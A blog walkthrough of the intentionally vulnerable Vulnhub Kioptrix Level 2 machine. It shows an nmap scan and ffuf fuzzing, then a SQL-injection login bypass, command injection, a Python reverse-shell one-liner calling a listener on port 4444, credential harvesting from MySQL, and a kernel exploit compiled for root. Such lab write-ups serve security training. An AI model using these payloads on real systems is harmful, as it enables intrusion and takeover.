Home Vulnhub - Kioptrix L2
Post
Cancel

Vulnhub - Kioptrix L2

By yufongg
Posted 2022-02-02 Updated 2022-08-09 7 min read

Recon

NMAP Complete Scan 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121

# Nmap 7.92 scan initiated Fri Dec 24 01:07:44 2021 as: nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- -oN /root/vulnHub/kioptrix2/192.168.1.102/scans/_full_tcp_nmap.txt -oX /root/vulnHub/kioptrix2/192.168.1.102/scans/xml/_full_tcp_nmap.xml 192.168.1.102
adjust_timeouts2: packet supposedly had rtt of -539313 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -539313 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -362256 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -362256 microseconds.  Ignoring time.
Nmap scan report for 192.168.1.102
Host is up, received arp-response (0.0014s latency).
Scanned at 2021-12-24 01:07:45 +08 for 37s
Not shown: 65528 closed tcp ports (reset)
PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 64 OpenSSH 3.9p1 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey: 
|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
| 1024 35 149174282886581624883868648302761292182406879108668063702143177994710569161669502445416601666211201346192352271911333433971833283425439634231257314174441054335295864218587993634534355128377261436615077053235666774641007412196140534221696911370388178873572900977872600139866890316021962605461192127591516843621
|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAOWJ2N2BPBPm0HxCi630ZxHtTNMh+uVkeYCkKVNxavZkcJdpfFTOGZp054sj27mVZVtCeNMHhzAUpvRisn/cH4k4plLd1m8HACAVPtcgRrshCzb7wzQikrP+byCVypE0RpkQcDya+ngDMVzrkA+9KQSR/5W6BjldLW60A5oZgyfvAAAAFQC/iRZe4LlaYXwHvYYDpjnoCPY3xQAAAIBKFGl/zr/u1JxCV8a9dIAMIE0rk0jYtwvpDCdBre450ruoLII/hsparzdJs898SMWX1kEzigzUdtobDVT8nWdJAVRHCm8ruy4IQYIdtjYowXD7hxZTy/F0xOsiTRWBYMQPe8lW1oA+xabqlnCO3ppjmBecVlCwEMoeefnwGWAkxwAAAIAKajcioQiMDYW7veV13Yjmag6wyIia9+V9aO8JmgMi3cNr04Vl0FF+n7OIZ5QYvpSKcQgRzwNylEW5juV0Xh96m2g3rqEvDd4kTttCDlOltPgP6q6Z8JI0IGzcIGYBy6UWdIxj9D7F2ccc7fAM2o22+qgFp+FFiLeFDVbRhYz4sg==
|   1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA4j5XFFw9Km2yphjpu1gzDBglGSpMxtR8zOvpH9gUbOMXXbCQeXgOK3rs4cs/j75G54jALm99Ky7tgToNaEuxmQmwnpYk9bntoDu9SkiT/hPZdOwq40yrfWIHzlUNWTpY3okTdf/YNUAdl4NOBOYbf0x/dsAdHHqSWnvZmruFA6M=
80/tcp   open  http     syn-ack ttl 64 Apache httpd 2.0.52 ((CentOS))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.0.52 (CentOS)
111/tcp  open  rpcbind  syn-ack ttl 64 2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            617/udp   status
|_  100024  1            620/tcp   status
443/tcp  open  ssl/http syn-ack ttl 64 Apache httpd 2.0.52 ((CentOS))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_ssl-date: 2021-12-23T14:58:43+00:00; -2h09m38s from scanner time.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/emailAddress=root@localhost.localdomain/localityName=SomeCity/organizationalUnitName=SomeOrganizationalUnit
| Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/emailAddress=root@localhost.localdomain/localityName=SomeCity/organizationalUnitName=SomeOrganizationalUnit
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: md5WithRSAEncryption
| Not valid before: 2009-10-08T00:10:47
| Not valid after:  2010-10-08T00:10:47
| MD5:   01de 29f9 fbfb 2eb2 beaf e624 3157 090f
| SHA-1: 560c 9196 6506 fb0f fb81 66b1 ded3 ac11 2ed4 808a
| -----BEGIN CERTIFICATE-----
| MIIEDDCCA3WgAwIBAgIBADANBgkqhkiG9w0BAQQFADCBuzELMAkGA1UEBhMCLS0x
| EjAQBgNVBAgTCVNvbWVTdGF0ZTERMA8GA1UEBxMIU29tZUNpdHkxGTAXBgNVBAoT
| EFNvbWVPcmdhbml6YXRpb24xHzAdBgNVBAsTFlNvbWVPcmdhbml6YXRpb25hbFVu
| aXQxHjAcBgNVBAMTFWxvY2FsaG9zdC5sb2NhbGRvbWFpbjEpMCcGCSqGSIb3DQEJ
| ARYacm9vdEBsb2NhbGhvc3QubG9jYWxkb21haW4wHhcNMDkxMDA4MDAxMDQ3WhcN
| MTAxMDA4MDAxMDQ3WjCBuzELMAkGA1UEBhMCLS0xEjAQBgNVBAgTCVNvbWVTdGF0
| ZTERMA8GA1UEBxMIU29tZUNpdHkxGTAXBgNVBAoTEFNvbWVPcmdhbml6YXRpb24x
| HzAdBgNVBAsTFlNvbWVPcmdhbml6YXRpb25hbFVuaXQxHjAcBgNVBAMTFWxvY2Fs
| aG9zdC5sb2NhbGRvbWFpbjEpMCcGCSqGSIb3DQEJARYacm9vdEBsb2NhbGhvc3Qu
| bG9jYWxkb21haW4wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAN4duNVEr4aL
| TUfsjacXKcCaRs1oTxsdNTIxkp7SV2PDD+mBY5shsXt/FMG7Upf4g605+W6ZEhfB
| WpLXonDFaRIxxn4AGSOLg8q20kUt9p2HZufaSLSwfSwJ+CTMwYtN8AU0jhf3r0y8
| jr+jjEU0HT4O4YXcnDRvbIUeHKedPPsTAgMBAAGjggEcMIIBGDAdBgNVHQ4EFgQU
| QAs+OwqZIYsWClQ2ZBav2uPP/mAwgegGA1UdIwSB4DCB3YAUQAs+OwqZIYsWClQ2
| ZBav2uPP/mChgcGkgb4wgbsxCzAJBgNVBAYTAi0tMRIwEAYDVQQIEwlTb21lU3Rh
| dGUxETAPBgNVBAcTCFNvbWVDaXR5MRkwFwYDVQQKExBTb21lT3JnYW5pemF0aW9u
| MR8wHQYDVQQLExZTb21lT3JnYW5pemF0aW9uYWxVbml0MR4wHAYDVQQDExVsb2Nh
| bGhvc3QubG9jYWxkb21haW4xKTAnBgkqhkiG9w0BCQEWGnJvb3RAbG9jYWxob3N0
| LmxvY2FsZG9tYWluggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEA
| Hvq7KPeUTn36Sz/Au95TmC7aSkhIkGVHMRGhWe7KTEflqQffYTqJOS4xsu/FxDRy
| 9IGOapsyILGEx57apuCYJW3tpwMUrpUXu/x9g3LM+VghiH0XxMOfbueVhqWZ+yP8
| LisROr5u+FeGOBBIINAmpWUX2xEdB4p97WYzP03rEQU=
|_-----END CERTIFICATE-----
|_http-server-header: Apache/2.0.52 (CentOS)
620/tcp  open  status   syn-ack ttl 64 1 (RPC #100024)
631/tcp  open  ipp      syn-ack ttl 64 CUPS 1.1
|_http-title: 403 Forbidden
| http-methods: 
|   Supported Methods: GET HEAD OPTIONS POST PUT
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
3306/tcp open  mysql    syn-ack ttl 64 MySQL (unauthorized)
MAC Address: 00:0C:29:B9:F7:A5 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.9
OS details: Linux 2.6.9, Linux 2.6.9 - 2.6.30
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=12/24%OT=22%CT=1%CU=%PV=Y%DS=1%DC=D%G=N%M=000C29%TM=61
OS:C4AD06%P=x86_64-pc-linux-gnu)SEQ(SP=C5%GCD=1%ISR=C6%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M5B4ST11NW2%O2=M5B4ST11NW2%O3=M5B4NNT11NW2%O4=M5B4ST11NW2%O5=M5B4
OS:ST11NW2%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)
OS:ECN(R=Y%DF=Y%TG=40%W=16D0%O=M5B4NNSNW2%CC=N%Q=)T1(R=Y%DF=Y%TG=40%S=O%A=S
OS:+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%TG=40%W=16A0%S=O%A=S+%F=AS%O=M5B4ST11N
OS:W2%RD=0%Q=)T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%TG=4
OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T7(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=N)IE(R=Y%DFI=N%T
OS:G=40%CD=S)

Uptime guess: 0.002 days (since Fri Dec 24 01:05:30 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=197 (Good luck!)
IP ID Sequence Generation: All zeros

Host script results:
|_clock-skew: -2h09m38s

TRACEROUTE
HOP RTT     ADDRESS
1   1.37 ms 192.168.1.102

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec 24 01:08:22 2021 -- 1 IP address (1 host up) scanned in 37.84 seconds

TCP/80 (HTTP)

FFUF 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

┌──(root💀kali)-[~/vulnHub/kioptrix2/192.168.1.102]
└─# ffuf -u http://192.168.1.102/FUZZ -w /usr/share/wordlists/dirb/common.txt -e ".html,.txt,.php" -fw 21

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.1.102/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Extensions       : .html .txt .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response words: 21
________________________________________________

                        [Status: 200, Size: 667, Words: 35, Lines: 32]
index.php               [Status: 200, Size: 667, Words: 35, Lines: 32]
manual                  [Status: 301, Size: 315, Words: 20, Lines: 10]
:: Progress: [18460/18460] :: Job [1/1] :: 8158 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

TCP/80 (HTTPS)

FFUF

  • Same as TCP/80

Initial Foothold

TCP/80 (HTTP) - SQLi + Command Injection

  1. Proceed to /manual
    • Default Apache Documentation
  2. Proceed to /index.php
  3. Attempt SQLi Auth Bypass
    1

     # OR 1=1#

  4. Attempt Command Injection
    1
2

     `id`
 ;id

  5. Execute Reverse Shell
    1

     ;python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("192.168.1.1",4444));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
  6. Obtain apache shell
    1
2
3
4
5
6
7
8
9
10
11

     ┌──(root💀kali)-[~/vulnHub/kioptrix2/192.168.1.102]
 └─# nc -nvlp 4444
 Ncat: Version 7.92 ( https://nmap.org/ncat )
 Ncat: Listening on :::4444
 Ncat: Listening on 0.0.0.0:4444
 Ncat: Connection from 192.168.1.102.
 Ncat: Connection from 192.168.1.102:32778.
 sh-3.00$ whoami
 whoami
 apache
 sh-3.00$

Privilege Escalation

Root - Via Kernel Exploit

  1. Check for SQL Credentials, view index.php
    • john:hiroshima
  2. Access mysql to obtain more creds
    1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

     bash-3.00$ mysql -u john -p
 Enter password: hiroshima
 Welcome to the MySQL monitor.  Commands end with ; or \g.
 Your MySQL connection id is 25 to server version: 4.1.22

 Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

 mysql> show databases;
 +----------+
 | Database |
 +----------+
 | mysql    |
 | test     |
 | webapp   |
 +----------+
	
 mysql> use webapp
 Reading table information for completion of table and column names
 You can turn off this feature to get a quicker startup with -A
	
 Database changed
 mysql> show tables;
 +------------------+
 | Tables_in_webapp |
 +------------------+
 | users            |
 +------------------+
 1 row in set (0.00 sec)

 mysql> show columns from users;
 +----------+--------------+------+-----+---------+-------+
 | Field    | Type         | Null | Key | Default | Extra |
 +----------+--------------+------+-----+---------+-------+
 | id       | int(11)      | YES  |     | NULL    |       |
 | username | varchar(100) | YES  |     | NULL    |       |
 | password | varchar(10)  | YES  |     | NULL    |       |
 +----------+--------------+------+-----+---------+-------+
 3 rows in set (0.00 sec)

 mysql> select * from users;
 +------+----------+------------+
 | id   | username | password   |
 +------+----------+------------+
 |    1 | admin    | 5afac8d85f |
 |    2 | john     | 66lajGGbla |
 +------+----------+------------+
 2 rows in set (0.00 sec)
  3. Tried to switch user to john w/ obtain creds, failed
  4. Ran linpeas
  5. Find Kernel Exploit
    1
2
3
4
5
6
7

     ┌──(root💀kali)-[~/vulnHub/kioptrix2/192.168.1.102/exploit]
 └─# searchsploit 2.6 centos
	 
 Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 
 linux/local/9545.c
  6. Transfer Exploit
  7. Compile & Exploit
    1
2
3
4
5
6
7
8
9

     sh-3.00$ gcc 9545.c -o exploit; chmod +x exploit; ./exploit
 gcc 9545.c -o exploit; chmod +x exploit; ./exploit
 9545.c:376:28: warning: no newline at end of file
 sh-3.00# whoami
 whoami
 root
 sh-3.00# cd /root
 cd /root
 sh-3.00# ls

Vulnhub, Linux
exploit/sqli/auth-bypass exploit/command-injection linux-priv-esc/kernel-exploit
This post is licensed under CC BY 4.0 by the author.
Recent Update
Contents

Vulnhub - Kioptrix L1

Vulnhub - Kioptrix L3

Comments powered by Disqus.